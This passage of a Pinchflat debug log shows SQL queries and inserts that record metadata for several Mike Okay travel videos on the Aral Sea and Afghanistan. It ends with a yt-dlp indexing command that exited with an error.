m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:58:06.167 [debug] QUERY OK source="media_items" db=0.2ms idle=2.6ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [18991] 17:58:06.167 [debug] Current batch of media processed. Will check again in 1000ms 17:58:07.168 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Once, the Aral Sea was one of the largest lakes on Earth. Today, it’s a dried-up desert filled with abandoned Soviet shipwrecks, rusting on sand where waves used to hit. In this video, I travel to the Aral Sea region to see what’s left, meet people who still live here, and spend the night inside a Soviet shipwreck that hasn’t touched water in decades.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/", "duration" => 1552, "filename" => "/downloads/shows/Mike Okay/Season 2025/s2025e120500 - Drunk Camping in an Abandoned Soviet Ghost Ship.mp4", "id" => "XaO_IcYqzRs", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=XaO_IcYqzRs", "playlist_index" => 17, "timestamp" => 1764952604, "title" => "Drunk Camping in an Abandoned Soviet Ghost Ship", "upload_date" => "20251205"} 17:58:07.169 [debug] QUERY OK source="sources" db=0.2ms idle=1002.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 17:58:07.169 [debug] QUERY OK source="sources" db=0.2ms idle=1002.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 17:58:07.170 [debug] QUERY OK source="media_items" db=0.3ms idle=1002.7ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-12-05 16:36:44Z], 3] 17:58:07.171 [debug] QUERY OK source="media_items" db=0.9ms idle=1002.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Once, the Aral Sea was one of the largest lakes on Earth. Today, it’s a dried-up desert filled with abandoned Soviet shipwrecks, rusting on sand where waves used to hit. In this video, I travel to the Aral Sea region to see what’s left, meet people who still live here, and spend the night inside a Soviet shipwreck that hasn’t touched water in decades.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/", "Drunk Camping in an Abandoned Soviet Ghost Ship", "d2e78c62-c511-4ae1-a506-0120f8963cc0", "XaO_IcYqzRs", 1552, false, "https://www.youtube.com/watch?v=XaO_IcYqzRs", 17, "/downloads/shows/Mike Okay/Season 2025/s2025e120500 - Drunk Camping in an Abandoned Soviet Ghost Ship.mp4", false, false, false, 3, [], 98, ~U[2025-12-05 16:36:44Z], ~U[2026-08-20 00:58:07Z], ~U[2026-08-20 00:58:07Z], "Once, the Aral Sea was one of the largest lakes on Earth. Today, it’s a dried-up desert filled with abandoned Soviet shipwrecks, rusting on sand where waves used to hit. In this video, I travel to the Aral Sea region to see what’s left, meet people who still live here, and spend the night inside a Soviet shipwreck that hasn’t touched water in decades.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/", "Drunk Camping in an Abandoned Soviet Ghost Ship", "XaO_IcYqzRs", 1552, false, "https://www.youtube.com/watch?v=XaO_IcYqzRs", "/downloads/shows/Mike Okay/Season 2025/s2025e120500 - Drunk Camping in an Abandoned Soviet Ghost Ship.mp4", false, 3, ~U[2025-12-05 16:36:44Z]] 17:58:07.172 [debug] QUERY OK source="sources" db=0.3ms idle=72.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 17:58:07.172 [debug] QUERY OK source="media_profiles" db=0.2ms idle=3.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:58:07.173 [debug] QUERY OK source="media_items" db=0.3ms idle=3.1ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [18992] 17:58:07.173 [debug] Current batch of media processed. Will check again in 1000ms 17:58:08.174 [debug] Current batch of media processed. Will check again in 1000ms 17:58:09.175 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Go to https://ground.news/mike to cut through the noise and stay better informed. Subscribe through my link to get 40% off the unlimited access Vantage subscription this month only.\n\nThe wonderful music in this video was kindly provided by Khalil Salahshor. Ali played the song you are listening to in the truck. It was such beautiful sounds so I reached out to Khalil and he agreed to let me use it in the video. follow him here https://www.instagram.com/khalil_salahshor22/\n\nCheck out Khalil here: https://www.youtube.com/@UCnDaJ9daevNM4UeKqDE-kOw \n\nWelcome back to Afghanistan. I never know what to write in this descriptions. Ummmmm. In this video I spend days in a truck. Thats more or less it. The real impressive thing here is that I managed to make 3 days in a truck engaging. I'm amazing. Just kidding. I am though. \n\nHeres a generic thing that talks about coal mines truck routes in Afghanistan:\n\nEvery day, Afghan truck drivers risk their lives hauling coal through the Hindu Kush, navigating deadly cliffs, overloaded trucks, freezing passes and zero infrastructure. In this video, I join the drivers who keep this remote part of Afghanistan alive, to show what life is really like on these coal roads.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n\n--------\n\n#afghanistan #afghan #travel", "duration" => 2619, "filename" => "/downloads/shows/Mike Okay/Season 2025/s2025e112100 - Crossing Afghanistan's Deadly Coal Mine Route.mp4", "id" => "TePUvifOHbk", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=TePUvifOHbk", "playlist_index" => 18, "timestamp" => 1763741498, "title" => "Crossing Afghanistan's Deadly Coal Mine Route", "upload_date" => "20251121"} 17:58:09.176 [debug] QUERY OK source="sources" db=0.2ms idle=488.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 17:58:09.176 [debug] QUERY OK source="sources" db=0.1ms idle=488.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 17:58:09.177 [debug] QUERY OK source="media_items" db=0.3ms idle=489.2ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-11-21 16:11:38Z], 3] 17:58:09.178 [debug] QUERY OK source="media_items" db=1.0ms idle=489.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Go to https://ground.news/mike to cut through the noise and stay better informed. Subscribe through my link to get 40% off the unlimited access Vantage subscription this month only.\n\nThe wonderful music in this video was kindly provided by Khalil Salahshor. Ali played the song you are listening to in the truck. It was such beautiful sounds so I reached out to Khalil and he agreed to let me use it in the video. follow him here https://www.instagram.com/khalil_salahshor22/\n\nCheck out Khalil here: https://www.youtube.com/@UCnDaJ9daevNM4UeKqDE-kOw \n\nWelcome back to Afghanistan. I never know what to write in this descriptions. Ummmmm. In this video I spend days in a truck. Thats more or less it. The real impressive thing here is that I managed to make 3 days in a truck engaging. I'm amazing. Just kidding. I am though. \n\nHeres a generic thing that talks about coal mines truck routes in Afghanistan:\n\nEvery day, Afghan truck drivers risk their lives hauling coal through the Hindu Kush, navigating deadly cliffs, overloaded trucks, freezing passes and zero infrastructure. In this video, I join the drivers who keep this remote part of Afghanistan alive, to show what life is really like on these coal roads.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n\n--------\n\n#afghanistan #afghan #travel", "Crossing Afghanistan's Deadly Coal Mine Route", "9a48b558-cb67-4157-aaf0-b1eae0414c4d", "TePUvifOHbk", 2619, false, "https://www.youtube.com/watch?v=TePUvifOHbk", 18, "/downloads/shows/Mike Okay/Season 2025/s2025e112100 - Crossing Afghanistan's Deadly Coal Mine Route.mp4", false, false, false, 3, [], 98, ~U[2025-11-21 16:11:38Z], ~U[2026-08-20 00:58:09Z], ~U[2026-08-20 00:58:09Z], "Go to https://ground.news/mike to cut through the noise and stay better informed. Subscribe through my link to get 40% off the unlimited access Vantage subscription this month only.\n\nThe wonderful music in this video was kindly provided by Khalil Salahshor. Ali played the song you are listening to in the truck. It was such beautiful sounds so I reached out to Khalil and he agreed to let me use it in the video. follow him here https://www.instagram.com/khalil_salahshor22/\n\nCheck out Khalil here: https://www.youtube.com/@UCnDaJ9daevNM4UeKqDE-kOw \n\nWelcome back to Afghanistan. I never know what to write in this descriptions. Ummmmm. In this video I spend days in a truck. Thats more or less it. The real impressive thing here is that I managed to make 3 days in a truck engaging. I'm amazing. Just kidding. I am though. \n\nHeres a generic thing that talks about coal mines truck routes in Afghanistan:\n\nEvery day, Afghan truck drivers risk their lives hauling coal through the Hindu Kush, navigating deadly cliffs, overloaded trucks, freezing passes and zero infrastructure. In this video, I join the drivers who keep this remote part of Afghanistan alive, to show what life is really like on these coal roads.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n\n--------\n\n#afghanistan #afghan #travel", "Crossing Afghanistan's Deadly Coal Mine Route", "TePUvifOHbk", 2619, false, "https://www.youtube.com/watch?v=TePUvifOHbk", "/downloads/shows/Mike Okay/Season 2025/s2025e112100 - Crossing Afghanistan's Deadly Coal Mine Route.mp4", false, 3, ~U[2025-11-21 16:11:38Z]] 17:58:09.178 [debug] QUERY OK source="sources" db=0.2ms idle=76.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 17:58:09.179 [debug] QUERY OK source="media_profiles" db=0.1ms idle=2.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:58:09.179 [debug] QUERY OK source="media_items" db=0.2ms idle=3.0ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [18993] 17:58:09.179 [debug] Current batch of media processed. Will check again in 1000ms 17:58:10.180 [debug] Current batch of media processed. Will check again in 1000ms 17:58:11.181 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Things don't always go to plan. I think this why I've been loving this trip so much. Nothing has gone to plan. This route has already taught me so much. But it's always scared me. In this video I'll find myself stranded in an Afghan mountain town. The only way I can get out is by striking a deal with the taliban.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n\n--------\n\n#afghanistan #afghan #travel", "duration" => 2078, "filename" => "/downloads/shows/Mike Okay/Season 2025/s2025e110700 - Afghanistan Broke Me...mp4", "id" => "_uOW3KGPqtA", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=_uOW3KGPqtA", "playlist_index" => 19, "timestamp" => 1762533339, "title" => "Afghanistan Broke Me..", "upload_date" => "20251107"} 17:58:11.182 [debug] QUERY OK source="sources" db=0.2ms idle=494.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 17:58:11.182 [debug] QUERY OK source="sources" db=0.2ms idle=494.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 17:58:11.183 [debug] QUERY OK source="media_items" db=0.3ms idle=495.2ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-11-07 16:35:39Z], 3] 17:58:11.184 [debug] QUERY OK source="media_items" db=0.8ms idle=495.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Things don't always go to plan. I think this why I've been loving this trip so much. Nothing has gone to plan. This route has already taught me so much. But it's always scared me. In this video I'll find myself stranded in an Afghan mountain town. The only way I can get out is by striking a deal with the taliban.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n\n--------\n\n#afghanistan #afghan #travel", "Afghanistan Broke Me..", "77f0be08-39c4-49cf-a337-8ea1c9d4ea06", "_uOW3KGPqtA", 2078, false, "https://www.youtube.com/watch?v=_uOW3KGPqtA", 19, "/downloads/shows/Mike Okay/Season 2025/s2025e110700 - Afghanistan Broke Me...mp4", false, false, false, 3, [], 98, ~U[2025-11-07 16:35:39Z], ~U[2026-08-20 00:58:11Z], ~U[2026-08-20 00:58:11Z], "Things don't always go to plan. I think this why I've been loving this trip so much. Nothing has gone to plan. This route has already taught me so much. But it's always scared me. In this video I'll find myself stranded in an Afghan mountain town. The only way I can get out is by striking a deal with the taliban.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n\n--------\n\n#afghanistan #afghan #travel", "Afghanistan Broke Me..", "_uOW3KGPqtA", 2078, false, "https://www.youtube.com/watch?v=_uOW3KGPqtA", "/downloads/shows/Mike Okay/Season 2025/s2025e110700 - Afghanistan Broke Me...mp4", false, 3, ~U[2025-11-07 16:35:39Z]] 17:58:11.184 [debug] QUERY OK source="sources" db=0.1ms idle=80.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 17:58:11.184 [debug] QUERY OK source="media_profiles" db=0.2ms idle=2.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:58:11.185 [debug] QUERY OK source="media_items" db=0.2ms idle=2.6ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [18994] 17:58:11.185 [debug] Current batch of media processed. Will check again in 1000ms 17:58:12.186 [debug] Current batch of media processed. Will check again in 1000ms 17:58:12.405 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/@mikeokay --simulate --skip-download --ignore-no-formats-error --no-warnings --output /downloads/shows/Mike Okay/Season %(upload_date>%Y)S/s%(upload_date>%Y)Se%(upload_date>%m%d)S00 - %(title)S.%(ext)S --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --break-on-existing --download-archive /tmp/pinchflat/data/37/cb/37cb49a024db86a0611b3e121fa38d4be2cbf61cb465686f00769464a1b83b21.txt --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/ee/b7/eeb72a969a3e4496f37368e72117d48f43babd81ef8a13d2424301b21d4477c8.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 101 with: 17:58:12.406 [debug] Gracefully stopping file follower 17:58:12.407 [debug] QUERY OK source="sources" db=0.3ms idle=1222.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 17:58:12.407 [debug] QUERY OK source="sources" db=0.2ms idle=1222.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 17:58:12.408 [debug] QUERY OK source="media_items" db=0.3ms queue=0.1ms idle=1222.7ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND 